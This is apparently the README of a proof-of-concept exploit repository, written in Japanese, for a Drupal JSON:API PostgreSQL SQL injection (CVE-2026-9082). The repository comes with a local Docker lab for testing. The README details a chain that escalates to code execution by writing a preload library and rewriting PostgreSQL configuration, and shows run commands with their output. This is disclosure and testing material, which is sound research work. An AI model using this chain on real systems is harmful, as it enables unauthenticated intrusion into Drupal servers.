ambionics/cve-2026-9082-drupal-postgresql-rceCVE-2026-9082 のエクスプロイト。Drupal JSON:API PostgreSQL SQL インジェクションを利用し、preload ライブラリ経由で RCE に昇格させるもので、テスト用のローカルラボを備えています。
このリポジトリには、Ambionics の記事で説明されている Drupal JSON:API PostgreSQL SQL インジェクション用のローカルラボと短いエクスプロイトが含まれています。
エクスプロイトの重要な部分は PostgreSQL の権限昇格です: インジェクションが PostgreSQL スーパーユーザーとして SELECT 式を評価できるようになると、ラージオブジェクトを介してネイティブプリロードライブラリを書き込み、postgresql.auto.conf をリロードし、session_preload_libraries をトリガーし、pg_read_file() でコマンド出力を取得します。
エクスプロイトはまず version() を読み取り、検出されたメジャーバージョンに対応する PostgreSQL モジュールマジックブロックを構築します。PostgreSQL 12、13-14、15-17、および 18+ のモジュール ABI レイアウトを処理します。ローカルのコンパイラは、対象の PostgreSQL サーバーと同じ CPU アーキテクチャ用の共有オブジェクトを生成する必要があります。
このラボは、執筆時点での最新の PostgreSQL リリースである PostgreSQL 18.4 を使用しています。PostgreSQL の権限昇格パスは、PostgreSQL 12.20 から PostgreSQL 18.4 までテストされています。
.
├── docker-compose.yml
├── drupal/
│ ├── Dockerfile
│ ├── entrypoint.sh
│ └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md
このラボでは以下を使用しています:
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache
Drupal は postgres スーパーユーザーとして PostgreSQL に接続されているため、SELECT のみの SQL インジェクションを RCE に昇格できます。
docker compose version
python3 --version
cc --version
出力例:
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
コンテナをビルドして起動します:
docker compose build --quiet
docker compose up -d
期待される出力:
Container cve9082-pg18 Started
Container cve9082-drupal Started
Drupal が healthy になるまで待ちます:
docker compose ps
期待される出力:
NAME SERVICE STATUS
cve9082-pg18 db Up ... (healthy)
cve9082-drupal drupal Up ... (healthy)
ラボは以下で待ち受けます:
http://127.0.0.1:8089
PostgreSQL のバージョンを確認します:
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'
期待される出力:
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
JSON:API がシードされた記事を公開していることを確認します:
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'
期待される出力:
{
"jsonapi": {
"version": "1.0"
},
"data": [
{
"type": "node--article"
}
]
}
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt
期待される出力:
Successfully installed requests-...
認証なし JSON:API SQL インジェクションを介して id を実行します:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id
期待される出力:
[+] checking SQL injection context
version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
current_user: postgres superuser=True
data_directory: /var/lib/postgresql/18/docker
module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
1400/14080 bytes
...
14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
__exit=0
[+] restoring/clearing PostgreSQL preload settings
152/152 bytes
別のコマンドを実行します:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'
期待される出力:
[+] reading command output
Linux ... x86_64 GNU/Linux
__exit=0
データベースボリュームを保持したままコンテナを停止します:
docker compose down
コンテナを停止し、データベースボリュームを削除します:
docker compose down -v